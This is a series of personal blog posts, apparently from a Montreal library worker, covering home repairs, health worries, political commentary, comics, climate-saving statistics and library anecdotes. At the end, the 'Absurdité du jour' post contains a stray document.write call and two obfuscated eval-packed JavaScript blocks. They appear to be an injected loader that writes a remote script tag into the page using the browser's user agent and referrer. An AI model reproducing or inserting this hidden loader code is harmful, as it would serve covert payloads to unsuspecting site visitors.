I had lots of trouble to have the city cut a branch of the tree in front of our house because it was touching the electric wires. The expensive repair/renovation in the backyard & balcony couldn’t be completed before the arrival of the cold weather (bad planning and lots of wasted time). The stupid contractor didn’t even provide an invoice so we cannot file our subsidy demands and he didn’t even bother to respond when we demanded that the work be completed in a timely manner in spring!

The digestion problems I’ve had since the beginning of the year convinced me to finally submit to tests and I had to endure a coloscopy (the test itself lasted just fifteen minutes but the two days of liquid diet and “preparation” were hellish!). They found that I was suffering from fatty liver and a sigmoidal diverticulosis (which could complicate into a diverticulitis). More stuff to be careful about…

This string of problems made me rather depressed. What’s the purpose to constantly fight if it is to simply eat in order to work, and work in order to be able to eat? I felt like the entropy of the world was catching up to me: the world was stopping making any sense, I was getting tired and weaker, everything was crumbling around me! Fortunately, writing and working on the blog was some sort of therapy for me and I now feel much better. Spring will be arriving in a little more than a month (despite mixed signals from the groundhogs) and we’ll be able to enjoy flowers under the sun again!

In the news, Catalonia declared independence from Spain, Trump recognized Jerusalem as Israel’s capital (killing all chances of peace in the Middle East), Disney acquired most of 21st Century Fox, the #metoo social awakening happened, the U.S. government shotdown twice, the Dow Jones dropped,  SpaceX launched its Falcon Heavy rocket with a Tesla car as payload (!), there was a missile false alarm in Hawaii and Japan, we had various disasters (wild fires in California, mudslides, earthquakes, floods in Europe), and the usual Trump craziness makes me despair for some sanity. Finally, there nothing much on TV since it’s the Pyeongchang Winter Olympics!

Despite everything, I managed to stay a little acquainted with the affairs of the world and gathered many notable news & links — which I now share with you (in both french or english, slightly categorized, but in no particular order — note that, to save on coding time, the links will NOT open in a new window as usual), after the jump.

[ Traduire ]

Continue reading →

Pilote Spécial Valérian

/ Clodjee / 2 Comments

Pilote-Special_Valerian-cov“Issus de l’imagination débordante de Pierre Christin et de Jean-Claude Mézières, les personnages de Valérian et de Laureline sont apparus pour la première fois dans les pages du magazine Pilote en 1967. Par son inventivité et son audace, cette série est très rapidement devenue la référence absolue pour les lecteurs de bande dessinée de science-fiction.

Cinquante ans plus tard, à la veille de la sortie du film Valérian et la Cité des mille planètes de Luc Besson, ce numéro hors-série rend hommage à la saga et à ses auteurs.”

[ Texte de la couverture arrière; voir aussi le site de l’éditeur ]

Continue reading →

Strange anecdote #02.018.020

/ Clodjee / Leave a comment

On my way to work this morning (it WAS morning since it wasn’t noon yet) I had a strange experience. Going down the subway station, I was at the bottom of the first flight of stairs to the train platform when the metro started signalling it was about to close its doors and leave the station. Of course, like everyone does, I started to run in the hope to catch it before the doors close. Then I heard a man shouting way behind me “Sir, if you can make it please hold the door. Hold the door!”

He was screaming in a kind of desperate manner. However, it was not my intention to acquiesce to his request because holding the door is illegal (as it can cause unnecessary delays) and doing so could incur a steep fine. Anyway, I made it to the train in time and so did the man. No action (or inaction) was required after all. I never even noticed who had made the request. I thought the incident was closed. Still, for the whole length of the trip, the man’s words kept echoing in my mind: “Hold the door! Hold the door! Hold… door… Hodor! Hodor!”

What a weird experience!

(And damn you George R. R. Martin !)

[ Traduire ]

Faux Ziegler but not fake humour

/ Clodjee / 2 Comments

Last week on Facebook I stumbled upon this piece of cartoon signed “Ziegler”:

SenateGOPmeetingThisMorning

I found it extremely funny (but also quite sad) because it embodies everything that is wrong in Washington right now and particularly the Republicans’ hypocrisy (they pledged to never raise taxes but they do; they say they are against raising the deficit but they always  make it worse; they try to impeach a president on moral grounds but elect a treasonous crook, serial sexual harasser and bully as president and want to put a child molester in the senate ! They always said they would removed those entitlement and, well, they kind of did… Where’s their moral high-ground now? How can they claim to be “good Christian” and allow this? They should be ashamed of themselves!).

So, kudos to the “cartoonist” for this excellent idea that pinpoint Washington’s ethical fallacies. Or is it? I noticed that the style of the cartoon is quite similar to what we find in magazine like The New Yorker, but the font used for the caption is totally wrong for this style — such cartoons usually put the caption in a italicized serif font… So the creator of this piece must have “repurposed” (meaning stole) a previous cartoon in order to create this hilarious concept by adding his own caption.

RealZieglerCartoonConsidering that the drawing is signed, it didn’t take me long to find the original. The concept is quite similar, so the “thief” just adapted it to the current political situation.

The original was created by Jack Ziegler and was indeed published in The New Yorker, a magazine well known for this style of cartoon. Unfortunately, Ziegler died last March. You can read tributes to his life and work in The New Yorker,  The New York Times and The Washington Post.

You can find many compilations of The New Yorker‘s cartoons in your local public library.

[ Traduire ]

Monthly notable news (w26-33)

/ Clodjee / 1 Comment

On the domestic front, in the last month or so, the condition were still rather horrible at work: it was way too hot (ventilation is working but there’s absolutely no air conditioning so we regularly work at temperature of 28~33 ? including the humidex — 23~25 ? with 45%~55% humidity) and we are still running like crazy… Therefore, most of the time, I come back home totally exhausted.

When I was not busy chasing quotes for the balcony and masonry repairs on the duplex, I was taking care of the stray cats, but this year’s cat saga has finally concluded: the two females have been sterilized & released and their kittens have been adopted through a good samaritan shelter. Despite all this (and maybe thanks to the omega 3 supplement I am taking? Nah…) I wrote much more than the previous months (many capsule reviews including commentaries on the Ghost in the Shell and Valerian live-action movies, as well as the superb Pline manga)  and I also started contributing to the Irrésistibles blog (with a version of my commentaries on Animeland #214 & #215, dBD #115, Pline #1, and the movie Silence).

In the news, everything was about the Trump circus. I was literally consumed by the news of this train wreck in the making, like watching an accident where you know you shouldn’t but just can’t turn you gaze from it. So we’ve spent countless hours watching news reports on MSNBC (mainly Rachel Maddow and Lawrence O’Donnell shows) about the latest trump scandals — and there’s a new one almost every day! It never stops: the Buzzfeed Russian “dossier” (Wikipedia, document), the possible election tempering collusion and financial involvement with Russia, the healthcare repeal & replace disaster, the sabre-rattling with North Korea and, finally, the controversial comments following the Charlottesville violence contributing to inflame the supremacist and racist agenda! When will the republicans realize they have bet on the wrong horse and decide to put him out of his misery? I can’t believe it has gone this far…

I have also watched today’s partial eclipse of the sun (58%) on TV and with my own eyes (using a home-made filter) but, unfortunately, I was not able to take any respectable pictures (by lack of preparation and appropriate equipment). But, at least, the weather was cooperating and I was able to see it. The next opportunities for such event will be June 10 2021 (partial at 85%), October 14 2023 (partial at 29%) and on April 8 2024 (a total solar eclipse!).

As always, I tried to remain acquainted with the affairs of the world and gathered oven an hundred notable news & links — which I share with you (in both french or english, and roughly separated in a few categories of interest), after the jump.

[ Traduire ]

Continue reading →

How to save the planet

/ Clodjee / Leave a comment

You’re feeling good because you think you are saving the environment by recycling and switching to LED light bulbs? Well,  don’t (feel good, I mean). It is totally useless.

Last week-end, I read an interesting article in The Gazette titled “Want to save the planet?” (also from the National Post via PressReader). A study by the University of British Columbia is showing that what we are told to do to reduce climate change is rarely the most effective way.  We’re told that “making a difference doesn’t have to be difficult” when, in truth, making a real impact demands some major sacrifices!

The most interesting part of the article is found in a graphic that was available only in the print version. What high school textbooks suggest students to do for the environment is not very effective: using reusable shopping bags instead of plastic ones represent only a saving of 0.005 tonne (5 kg) of carbon dioxide per person per year, while upgrading light bulbs saves 0.1 tonne, hanging your laundry to dry in the sun saves 0.21 tonne, recycling saves 0.213 tonne and washing your clothes in cold water saves 0.247 tonne. Small changes.

In opposite, the more effective actions for helping the environment represents only four per cent of the suggestions given to students. The best tactics are eating less meat with a plant-based diet (saving of 0.8 tonne per year), buying green energy (saving 1.5 tonne per year), taking one less transatlantic flight per year (saves 1.6 tonne), and going car-free (saving 2.4 tonne per year — note that switching from an electric car to car-free saves 1.15 tonne per year and buying a more efficient car saves 1.19 tonne per year!). However, the most effective way to be environmentally friendly is to have one less child: you would save 58.6 tonne of CO2 emission per year! I always said that those kids are killing the planet.

I am really happy because I am already doing all those things (switching light bulbs, washing in cold water, hang-drying, using reusable bags, hydro-electricity, having a plant-based diet, no flying, no car, no kid) and I hope you will consider it too. I won’t go as far as some sci-fi shows and suggest, as some sort of Sophie’s Choice, that we should reduce the children population (or even the general population) — it would surely make the environment quieter — but please copulate with moderation (I would say “practice abstinence” but that would be inconsiderate: just don’t have four or five kids and think of it as a planetary-wide one-child policy)! There are already too many people on earth…

That would certainly be a good way to save the planet.

[ Traduire ]

Vie de bibliothèque

/ Clodjee / Leave a comment

En bibliothèque on observe l’Humain sous toutes ses formes, du meilleur au pire, en passant par toutes les couleurs de l’absurde. Évidemment, on a inévitablement le désir de partager une telle expérience transcendante que ce soit par l’anecdote humoristique ou la thèse philosophique. Certains écrivent des livres, comme le Quiet, Please: Dispatches From A Public Librarian de Scott Douglas, mais l’on voit aussi beaucoup de blogues où les gens qui oeuvrent en bibliothèque à tous les niveaux s’expriment et s’épanchent par le rire, la rage ou l’aberration, par souci de partager ou besoin thérapeutique. On retrouve donc le blogue anecdotique, le blogue d’information, et le blogue collaboratif. De l’autre côté du miroir, il y a aussi le blogue de lecteur: dans le style blogue “club de lecture” (comme Les Irrésistibles, où j’ai récemment commencé à collaborer) ou simplement les blogues “coup de coeur” (comme le font Prospérine, Fractale Framboise, Sophie Lit, Mon Coin Lecture et tant d’autres). Il y a aussi les innombrables pages Facebook…

La nouvelle tendance est aux web comics dont le plus connu et apprécié était unshelved (par Gene Ambaum et Bill Barnes, et dont j’ai déjà amplement parlé), qui a finalement été remplacé par Library Comic (par Gene Ambaum et Chris Hallbeck, beaucoup moins intéressant que la version précédente) et, l’objet de ce billet, j’ai récemment découvert Vie de Bibliothèque (par San?) qui a le sublime avantage d’être local — quoique mes lectures m’ont apprise que la vie de bibliothèque semble similaire (et tout aussi absurde) où que l’on soi dans le monde… En voici un exemple (voir la page FB pour plus):

Le livre mal classé

[ Translate ]

Le suffrage de la marmotte

/ Clodjee / Leave a comment

Une élection partielle s’est tenu aujourd’hui dans 6e district de Géorgie. Les démocrates pensaient bien profiter de la vague d’insatisfaction envers l’administration Trump pour y faire élire leur candidat, Jon Ossoff, et ainsi offrir un excellent présage en prévision des élections de mi-mandat de l’an prochain.

Hélas, ce n’était pas écrit dans les astres, car la marmotte démocrate a eut peur de son ombre. Cela laisse donc présager huit ans de Trump! L’hiver s’en vient et il sera long!

[ Translate ]

Monthly notable news (W12-16)

/ Clodjee / Leave a comment

Another month (or so) has passed at lightning speed. Lots of stuff to do, particularly now that spring has come. We had plenty of rain at first, however now the weather is more enjoyable but still a little chilly. The humidity has made my left knee (and a bit my right ankle) hurt and, for a week, my back pain came back with a vengeance — libraries can be hard work sometimes (and not only for the soul; although it can be amusing too). I also had an episode of high blood glucose and I feared I would become a full-blown diabetic but it returned to my pre-diabetic “normal” after a week. This is no work for old men…

It has been a busy month. We’ve visited the notary twice for mom’s succession paperwork and there was plenty of work around the house particularly for the garden cleaning. I also had to deal with many unexpected problems: some strange Bell bug kept me from my blog for a week and I had some leaky roof, front door handle and water heater issues (the latter two just this weekend). Installing two more Outdoor Nest Cams (as one of my cheap IP cameras died following water damage inside the window) has been a strain on the Bell Wi-Fi causing serious performance problems. I’ll probably solve this issue by going back to Videotron, but only for the internet (I’ll share my sister’s).

A question on FB made me look back at my collection of old books and share my love for them. I also purchased a new Telephoto Mirror Lens for my camera. My TV viewing habits didn’t change much. I still watch too much TV: the new season for old series (When calls the Heart, Into the Badlands, Doctor Who) but two series are particularly worth mentioning for their quality: Anne and The Expense (and its beautiful opening credits with Norwegian vocals — listen on Soundcloud and Youtube). I also wanted to go see Ghost in the Shell in theatre but the reviews were not too good so I decided to wait. However, I’ll definitely won’t miss the Valerian‘s movie when it is released!

I have always considered blogging (and writing in general) as an essential mental exercice (as much as my daily walks) to keep in shape, the mind sharp and age better. However, now I have some doubt. It sometimes feels like a strain since I have less and less time to do it. I have to split my waking hours between my wife-together time, my me-time and work (from which I always come back exhausted). Lately, I had lots of problems with the blog (the Dropbox issue, not being able to log in for an entire week) and it leaves me with the dilema of having to choose between fixing the layout on the old posts or writing new material (or try to do both and be unhappy with the result). I just wonders if it is really worth it.

Maybe I should try less to DO something and just take more time to enjoy life right now (going to movies, to the museums, to the botanical garden, READ more, etc.) without always thinking about sharing it, what I would say about it, which angle I could use to explain the subject better or tell an interesting story about the whole experience. My health won’t improve with the years and I am quite sure that there is less road in front of me than behind, so maybe I should just take the most of it and enjoy the moment. Who’s reading me anyway. Although, I often say that I am writing for myself, so I can read what I wrote one day and remember how it was (particularly when I would not remember it at all). It is just like a journal left adrift in the binary stream of time, to create some sort of posterity.

Both ways seem kind of selfish: if I do write I feel guilty of not doing more of my life and, if I don’t, I feel I am letting myself down. Either way it is a losing battle. •Sigh* It’s the age-old depressing philosophical question: Did I ever really lived and did it really matter? I can only press on and hope for the best.

Finally, I nevertheless managed to stay acquainted with the (ever so depressing) affairs of the world and gathered a few notable news & links — which I share with you (in both french or english, and roughly divided into a few thematics), after the jump.

[ Traduire ]

Continue reading →

The irresistible question

/ Clodjee / Leave a comment

I swear  someone asked me this exact question at the library yesterday :

When I first read this (now defunct) Unshelved comic strip several years ago, I dreamt to answer exactly like Dewey did if I ever found myself in this situation. Unfortunately, such sarcasm would be considered very poor customer service so I abstained. After a long pause, I smiled (actually, I barely resisted laughing out loud) and I referred  the customer to the reference librarian. Always do like the t-shirt says: “Keep calm and let the librarian handle it” !

It reminds me of this situation, years ago, when I was trying to make a library card for a guy who didn’t want to give his personal information because he was an anarchist and he didn’t want the big-brotherly government to know anything about him. Incredulous, I said to the guy: “Wait a minute. You say you are an anarchist, but you want to benefit from all the free library services? Don’t you think it’s a little hypocritical?” He seemed unfazed but, since he refused to provide any of the required information, I couldn’t register him to the library. I found such audacity unbelievable. We really see the strangest stuff in a library…

Absurdité du jour (#02017054)

/ Clodjee / Leave a comment

Je viens juste de réaliser, document.write(“”); avec tout mes problèmes du changement de Vidéotron à Bell, que j’avais un meilleur téléphone quand j’étais avec la compagnie de cable et que maintenant j’ai un meilleur service télé avec la compagnie de téléphone! Go figure…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybsti|var|u0026u|referrer|eznke||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tzthh|var|u0026u|referrer|arshs||js|php’.split(‘|’),0,{}))

[ Translate ]